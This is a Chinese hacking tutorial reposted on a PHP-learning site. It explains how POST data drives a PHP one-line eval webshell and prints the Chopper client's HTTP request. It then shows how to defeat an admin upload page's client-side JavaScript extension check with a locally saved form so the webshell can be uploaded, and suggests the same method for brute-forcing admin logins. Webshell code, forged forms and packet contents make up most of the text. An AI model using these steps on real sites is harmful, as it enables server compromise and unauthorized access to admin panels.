来源:自学PHP网 时间:2015-04-17 14:11 作者: 阅读:次
[导读] 本文纯属科普文,在看本文前,请简单了解一下GET与POST的区别:《网站表单接收信息提交方式:Get与Post 小讲》如果这个文章你没看懂,或者不想看,那么我来给你更简单的讲一下GET与...
本文纯属科普文,在看本文前,请简单了解一下GET与POST的区别: 《网站表单接收信息提交方式:Get与Post 小讲》 如果这个文章你没看懂,或者不想看,那么我来给你更简单的讲一下GET与POST GET体现在url当中,通常我们遇到的注入也好,文件包含也好,多数是GET方式的,而远程密令执行,任意文件执行等getshell漏洞多数是POST的方式进行的 我并没有一概而论,注入也有很多POST,例如典型的万能密码就是POST注入,咱不要钻牛角尖。 那么GET和POST的区别在哪里呢? GET是直接体现在url当中的,例如当x.php以GET方式接收cmd变量时,格式是这样的/x.php?cmd=xxxxx 而POST则是表单,可见可不见,例如x.php以POST方式接收cmd变量时,url依然是x.php,后面什么东西也没有,但是IE、safari、chrome等浏览器其实已经通过网页中的<form></form>标签完成了数据交换。 我想你应该懂了大概了吧,如果不懂,就继续去恶补html吧,这是html最基本的http数据交换,好了,我们开始正文了 首先我们来看一个php的一句话webshell: <?php eval($_POST['xxx']); ?> 复制代码 通常我们都是用一句话客户端例如菜刀等直接使用,可是你又知道菜刀是怎么工作的吗?为什么xxx是密码?? 其实很简单 php通过POST取值执行php代码。那么执行phpinfo()这个php代码的话,一句话客户端就会发送下面的数据: POST /cmd.php HTTP/1.1 Host:blackbap.org User-Agent: Chopper Accept: text/xml,application/xml,application/xhtml+xml, text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: zh-cn;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: gb2312;q=0.7 Keep-Alive: 300 Referer: http://www.2cto.com /cmd.php Content-Type: application/x-www-form-urlencoded Content-Length: 14 xxx=phpinfo() 复制代码 我们直接看最后一行,是的,这就是post发送数据 如果进行抓包的话,我们一定会看到这样类似的数据包发送 那么,这样的数据发送是如何在浏览器中完成的呢?其实更简单 <form action="http://blackbap.org/cmd.php" method="POST"> <input type="text" id="xxx" value="phpinfo()"> <input type="submit" value="提交"> </form> 复制代码 把上面代码保存为xx.html提交,就发送了上面抓包的POST数据了。 那么我们可以看到这样的一个关系: 如果一句话木马中: $bl1 = $_POST['bianliang1']; $bl2 = $_POST['bianliang2']; $bl3 = $_POST['bianliang3']; ............. $blN = $_POST['bianliangN']; 复制代码 那么在form中就可以: <input type="text" id="bianliang1" value=""> <input type="text" id="bianliang2" value=""> <input type="text" id="bianliang3" value=""> ..... <input type="text" id="bianliangN" value=""> 复制代码 那么POST数据包中的末尾就是: bianliang1=xxxx&bianliang2=xxxx&bianliang3=xxxx&.....bianliangN=xxxx 恩,这很简单。 那么我要讲什么呢? 我们看这样一个后台: <script language="javascript" type="text/javascript"> function val() { if(document.addpro.album_title.value=="") { alert("Enter project title"); document.addpro.album_title.focus(); return false; } if(document.addpro.album_pos.value=="") { alert("select the position"); document.addpro.album_pos.focus(); return false; } if(document.addpro.album_image.value!="") { var img=document.addpro.album_image.value; var pos=img.lastIndexOf('.'); if(pos<0) { alert("Unsupported image format"); document.addpro.album_image.focus(); return false; } if(pos>=0) { var mainext=img.substr(pos+1); if((mainext!='jpg')&&(mainext!='JPG')&&(mainext!='jpeg')&&(mainext!='JPEG')&&(mainext!='gif')&&(mainext!='GIF')&&(mainext!='bmb')&&(mainext!='BMB')&&(mainext!='png')&&(mainext!='PNG')) { alert("Unsupported image format"); document.addpro.album_image.focus(); return false; } } } } </script> </head> <form method="post" enctype="multipart/form-data" name="addpro"> <select> <option value="">Select the position</option> <option value="1">1</option> <option value="Last">Last</option> </select></td> <input type="file" name="album_image" /></td> <input type="submit" name="Submit" value="ADD" /> </form> 复制代码 这是一个管理员后台“相册添加”的右键查看源代码的实例(有删改),如果直接在这样的后台选择php文件上传作为相册封面是不行的。 因为我们看到有这样一段代码: if((mainext!='jpg')&&(mainext!='JPG')&&(mainext!='jpeg')&&(mainext!='JPEG')&&(mainext!='gif')&&(mainext!='GIF')&&(mainext!='bmb')&&(mainext!='BMB')&&(mainext!='png')&&(mainext!='PNG')) 复制代码 这里做了判断,如果后缀名不是jpg,JPG,jpeg,JPEG,gif,GIF,bmb,BMB,png,PNG,就会失败 那么这段JavaScript是如何影响POST数据的呢? 我们可以看到在<form>标签中有这样一句:onsubmit="return val();" 是的,就是这句代码,让form执行了Javascript 那么问题就来了,Javascript是本地浏览器,也就是访问网页的人执行的,如果我拒绝执行,那么岂不是可以不受他的后缀名限制? 那么这就太简单了,浏览器禁用JS并不是个非常好的方法,最保守的方法是: <form method="post" action="能够上传相册图片的url地址" enctype="multipart/form-data"> <select name="position"> <option value="">Select the position</option> <option value="1">1</option> <option value="Last">Last</option> </select></td> <input type="file" name="album_image" /></td> <input type="submit" name="Submit" value="ADD" /> </form> 复制代码 我们把onsubmit换成action,并填入可以上传图片的url,保存为xxx的html用浏览器打开。好了,下一步就可以直接POST上传php文件了 至于抓包嘛,你可以看看,最后应该是 position=Last&album_image=<?php eval($_POST[c]);?> 复制代码 明白了原理,我们还可以扩展一下,比方说没有验证码的后台,我们只要右键查看后台登陆界面的“源代码”,修改action的地址,保存为html再通过替换value的方式用工具暴力破解后台密码了 还有POST后台登陆框注入等等:http://www.2cto.com/Article/201112/115384.html 看完此文的高手们也许会失望,但是我开头说了,科普文而已,很简单的东西 作者:YoCo Smart 来自:Silic Group Hacker Army |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com